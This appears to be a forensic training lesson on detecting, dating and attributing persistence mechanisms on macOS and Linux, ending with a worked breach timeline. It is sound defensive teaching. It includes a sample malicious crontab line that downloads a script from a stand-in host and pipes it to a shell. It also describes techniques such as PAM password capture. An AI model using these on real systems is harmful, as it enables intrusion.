macOS and Linux essentials · Lesson 5 of 5
Persistence on macOS and Linux
11 min read
Persistence is whatever lets an intruder or malware survive a reboot, a logoff or a password change. On macOS and Linux it is almost always a file: a property list, a unit file, a crontab line, a public key. This lesson lists the main autostart locations on both systems and shows how to separate malicious entries from legitimate ones, date them and attribute them. Windows persistence is covered in Module 2.
The examiner's method
- Enumerate every autostart location for that OS version, both system-wide and in every home directory, including
/rootand service accounts such aswww-data. - Compare against a baseline: a known-good system of the same build or the package manager's records. Ask who owns each file (a package, a signed vendor bundle, nothing?) and whether the program it starts lives somewhere unusual, such as
/tmp,/dev/shmor a dot-named file in/usr/local/bin. - Record owner, mode, all timestamps (ext4 and APFS keep a creation time), size and SHA-256 of the configuration file and of the program it launches.
- Sort by time and look for items created or changed in the incident window, then corroborate with logs (Lesson 6.4) and execution evidence.
- Name each finding with a MITRE ATT&CK technique ID. IDs are vocabulary, not evidence: they make reports comparable.
| Technique | ID | macOS and Linux sub-techniques |
|---|---|---|
| Create or Modify System Process | T1543 | .001 Launch Agent, .004 Launch Daemon, .002 Systemd Service |
| Scheduled Task/Job | T1053 | .003 Cron, .006 Systemd Timers |
| Account Manipulation: SSH Authorized Keys | T1098.004 | Added public key |
| Event Triggered Execution | T1546 | .004 Unix Shell Configuration Modification, .017 Udev Rules |
| Boot or Logon Autostart Execution | T1547 | .015 Login Items, .006 Kernel Modules and Extensions |
| Boot or Logon Initialization Scripts | T1037 | .004 RC Scripts |
Related IDs you will meet: T1574.006 Dynamic Linker Hijacking (ld.so.preload), T1556.003 Pluggable Authentication Modules, T1505.003 Web Shell and T1136.001 Create Account: Local Account.
macOS
launchd daemons and agents
launchd (PID 1) starts jobs described in property lists; Lesson 6.1 covers XML and binary plists and reading them with plutil -p.
| Folder | Runs as | Starts |
|---|---|---|
/Library/LaunchDaemons | root, or the account in UserName | At boot, with no user logged in |
/Library/LaunchAgents | Each user who logs in | At every user's login |
~/Library/LaunchAgents | That user | At that user's login |
/System/Library/LaunchDaemons and LaunchAgents | Apple's own jobs | Protected; not a normal target |
The /System folders are protected by System Integrity Protection (SIP, OS X 10.11+) and, from macOS 11, sit on the sealed, read-only system volume, so look in /Library and the user folders. The keys that matter:
Label: the unique job name, usually reverse-DNS. Acom.apple.label outside/Systemdeserves scrutiny.ProgramorProgramArguments: the executable and its arguments, which you must locate and hash./bin/sh -c,curlorosascriptare red flags.RunAtLoad: start as soon as the job is loaded (at boot or login).KeepAlive: restart the job whenever it exits.StartInterval: run every N seconds (StartCalendarIntervalis the cron-like form).
Login items, profiles and other macOS points
From macOS 13 Ventura, Background Task Management (BTM) tracks login items, launch agents and daemons, notifies the user and lists them in System Settings > General > Login Items. Its database is /private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v<N>.btm, where N changes between releases. It is a binary plist in Apple's keyed-archive format; on a live Mac, sudo sfltool dumpbtm prints each item's identifier, developer name, type, disposition and executable path. macOS 10.13 to 12 kept login items in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.
- Configuration profiles (
.mobileconfig) can install root certificates, proxy, DNS or VPN settings, or MDM enrollment: control rather than code. List them live withsudo profiles list. From macOS 11 theprofilestool cannot install a profile silently, so a rogue profile implies user approval or MDM. - cron and periodic still exist but are rarely used: user crontabs in
/private/var/at/tabs/<user>, scripts in/etc/periodic/daily|weekly|monthly. - Shell profiles: zsh is the default since 10.15.
~/.zshenvruns for every zsh,~/.zprofilefor login shells,~/.zshrcfor interactive ones, plus/etc/zprofileand/etc/zshrc. They run only when a shell starts. - Authorization plugins in
/Library/Security/SecurityAgentPlugins, once referenced in the authorization database, run during login with access to the typed password; kernel extensions (/Library/Extensions, deprecated since macOS 10.15) and system extensions (10.15+,systemextensionsctl list) need explicit user approval.
How the binary arrived matters. Browsers and Mail add the com.apple.quarantine attribute (Lesson 6.1), so Gatekeeper checks signature and notarization at first launch. curl adds none, so a dropped binary without it is consistent with a script download. Check signing with codesign -dv --verbose=4.
Linux
systemd services and timers
Unit files are read from /etc/systemd/system (administrator, highest priority), /run/systemd/system (runtime) and /lib/systemd/system or /usr/lib/systemd/system (packages). User units in ~/.config/systemd/user run while that user is logged in, or always if lingering is enabled (/var/lib/systemd/linger/<user>).
In a unit, [Service] holds ExecStart= (the program), Restart=always (relaunch on exit) and User=; [Install] holds WantedBy=multi-user.target. systemctl enable acts on WantedBy by creating a symlink in /etc/systemd/system/multi-user.target.wants/. The link is a new inode, so its own creation time (read without following it: stat on the link, or istat on its inode) dates when it was last created, normally by systemctl enable. Also check drop-in folders (<unit>.d/*.conf), which can override a legitimate service's ExecStart=. Timers (.timer with OnCalendar= or OnBootSec=) start the .service of the same name; list them live with systemctl list-timers --all.
cron, SSH keys and shell startup files
Lesson 6.3 gave the cron and at locations. Malicious entries look like * root curl -fsSL http://203.0.113.50/k.sh | sh: every minute, a download piped to a shell. Also suspicious: base64 blobs, a crontab for www-data, a file in /etc/cron.d that no package owns.
OpenSSH reads .ssh/authorized_keys and .ssh/authorized_keys2 in each home by default; check sshd_config for AuthorizedKeysFile or AuthorizedKeysCommand. Each line holds optional options, the key type, the base64 key and a comment. The comment is free text chosen by the key's creator and attributes nothing. Options such as command="…" (force a command) or from="198.51.100.0/24" (allowed sources) change what the key does. ssh-keygen -lf authorized_keys prints each key's SHA256: fingerprint, which you match to sshd lines such as Accepted publickey for root from … ssh2: ED25519 SHA256:… (Lesson 6.4).
Bash login shells read /etc/profile (which sources /etc/profile.d/*.sh) and the first of ~/.bash_profile, ~/.bash_login and ~/.profile; interactive non-login shells read /etc/bash.bashrc (Debian family) and ~/.bashrc. Look at their ends for nohup … &, alias sudo= or export LD_PRELOAD=.
Deeper hooks
- rc.local and init.d: if
/etc/rc.localexists and is executable, systemd runs it at boot, and SysV scripts in/etc/init.drun through a compatibility generator; systemd 260 (2026) removed both. /etc/ld.so.preload: normally absent. Each listed shared object is loaded into every dynamically linked program, the classic user-mode rootkit technique for hiding files and processes from tools run on the live host.- Kernel modules:
/etc/modules,/etc/modules-load.d/*.conf, and/etc/modprobe.d/*.conf(whoseinstalllines can run commands).lsmodreads/proc/modules, which a rootkit can falsify; compare module files under/lib/modules/<kernel>/, kernel messages such asmodule verification failed: signature and/or required key missing - tainting kernel, and memory (Module 5). - udev rules: a
RUN+="…"in/etc/udev/rules.d/*.rulesruns on every matching device event. - PAM: a line in
/etc/pam.d/addingpam_exec.so expose_authtokhands every typed password to a program; a replacedpam_unix.socan accept a master password. - Accounts: a second UID 0 in
/etc/passwd, newsudo/wheelmembers or files in/etc/sudoers.d(Lesson 6.3). - Web shells: small
.phpor.jspfiles under/var/www, owned by the web server account.
Validating against the package manager
dpkg -V (or debsums -c) compares files with the MD5 sums recorded at installation; rpm -Va also checks size, mode, owner and mtime, printing flags such as S.5....T. (size, digest, time changed) and c for configuration files, which change legitimately. dpkg -S <path> or rpm -qf <path> names a file's package. Limits: only package-owned files are checked, so a new unit, cron file or authorized_keys line is invisible; and an attacker with root can edit the database (/var/lib/dpkg/info/*.md5sums, /var/lib/rpm) or the tools. Prefer hashes of the original packages from the distribution mirror, compared on your workstation against the read-only mount.
Quick reference
| Location | OS | Runs when | How to check |
|---|---|---|---|
/Library/LaunchDaemons/*.plist | macOS | Boot, as root | ProgramArguments, hash target, crtime |
~/Library/LaunchAgents/*.plist | macOS | User login | Same, per user |
BackgroundItems-v<N>.btm | macOS 13+ | Login | sfltool dumpbtm (live) or a BTM parser |
/etc/systemd/system/*.service + *.wants/ | Linux | Boot | dpkg -S, link crtime, ExecStart |
~/.config/systemd/user/ | Linux | User session | Linger file, ExecStart |
*.timer, /etc/cron.d, crontabs | Both (cron) | Schedule | Frequency, command, owner |
~/.ssh/authorized_keys | Both | SSH logon | Fingerprints vs sshd log |
~/.zshrc, ~/.bashrc, /etc/profile.d/*.sh | Both | Shell start | Appended lines |
/etc/rc.local, /etc/init.d/ | Linux | Boot | Exists, executable, owner |
/etc/ld.so.preload | Linux | Every program start | Should not exist |
/etc/modules-load.d/, /etc/modprobe.d/ | Linux | Boot | Module files, taint messages |
/etc/udev/rules.d/ | Linux | Device event | RUN+= entries |
/etc/pam.d/ | Linux | Authentication | pam_exec, dpkg -V |
Worked example: a fake D-Bus helper
A Debian 12 web server (time zone UTC−3) was breached on 14 March 2026:
| Item | Evidence | UTC |
|---|---|---|
deploy logs in | auth.log: Accepted password for deploy from 198.51.100.23 | 2026-03-14T14:18:05Z |
| Root shell | sudo: deploy : … USER=root ; COMMAND=/bin/bash | 14:19:12Z |
| Key added | /root/.ssh/authorized_keys mtime and ctime; new ssh-ed25519 line, comment backup@web01 | 14:23:37Z |
| Binary dropped | /usr/local/bin/.dbus-helper crtime; SHA-256 6b856bbe9d9d3448c05fd885e758345f47bba2812bc8b7e15299e82a70ea8142 | 14:25:02Z |
| Service enabled | Symlink multi-user.target.wants/dbus-helper.service crtime | 14:26:10Z |
| Session ends | session closed for user deploy | 14:31:40Z |
| Key used | Accepted publickey for root from 203.0.113.77 port 40122 ssh2: ED25519 SHA256:Cn2JcyZ2wuDBa4eq1qcqPCgpueXIwuMbVag5jAOwvEU | 2026-03-15T02:07:44Z |
The unit /etc/systemd/system/dbus-helper.service contains ExecStart=/usr/local/bin/.dbus-helper, Restart=always and WantedBy=multi-user.target. dpkg -S finds no owner for either file; the genuine D-Bus unit is dbus.service in /lib/systemd/system, and the leading dot hides the binary from a plain ls.
Dating the enablement. stat on the symlink prints Birth: 2026-03-14 11:26:10.483920117 -0300; 11:26:10 + 3 h = 14:26:10Z. Check it in the raw inode: i_crtime at offset 0x90 holds 02 70 B5 69, little-endian 0x69B57002 = 1,773,498,370 seconds since 1970-01-01 = 2026-03-14T14:26:10Z. i_crtime_extra at 0x94 holds D4 23 60 73 = 0x736023D4; shifted right by 2 bits this gives 483,920,117 ns, and its low two bits (00) add no epoch extension.
Linking the key. ssh-keygen -lf on the new line gives SHA256:Cn2JcyZ2wuDBa4eq1qcqPCgpueXIwuMbVag5jAOwvEU, identical to the 02:07:44Z login, so that key was used, from a new address.
Attribution. All three items were created in order inside the root shell of the deploy session (14:18:05Z to 14:31:40Z). Creation times show when inodes appeared, not who acted; the session window supplies that link, after you check wtmp and the journal for other sessions open at the time. touch cannot set crtime or ctime, so a back-dated mtime would not hide 14:25:02Z. Report T1543.002 and T1098.004.
Exam focus: Expect to state which folder and account a launchd job uses, to readProgramArguments,RunAtLoadandKeepAlive, and to date a systemd service from its*.wantssymlink. You may need to match anauthorized_keysfingerprint to anAccepted publickeyline, convert astatlocal time to UTC and give a binary's full path and SHA-256.
Key points
- Persistence is a file in a known autostart location; enumerate them all, system-wide and per user, then compare with a baseline.
- LaunchDaemons run as root at boot; LaunchAgents run as the user at login;
/System/Librarybelongs to Apple and is sealed. systemctl enablecreates a symlink in*.wants/; the link's own creation time dates the enablement.- Prove which SSH key was used by matching its
SHA256:fingerprint to sshd'sAccepted publickeyline; ignore the key comment. dpkg -Vandrpm -Vaonly cover package-owned files and trust a database that root can alter.- ATT&CK IDs such as T1543, T1053, T1098.004, T1546, T1547 and T1037 name findings; they do not prove them.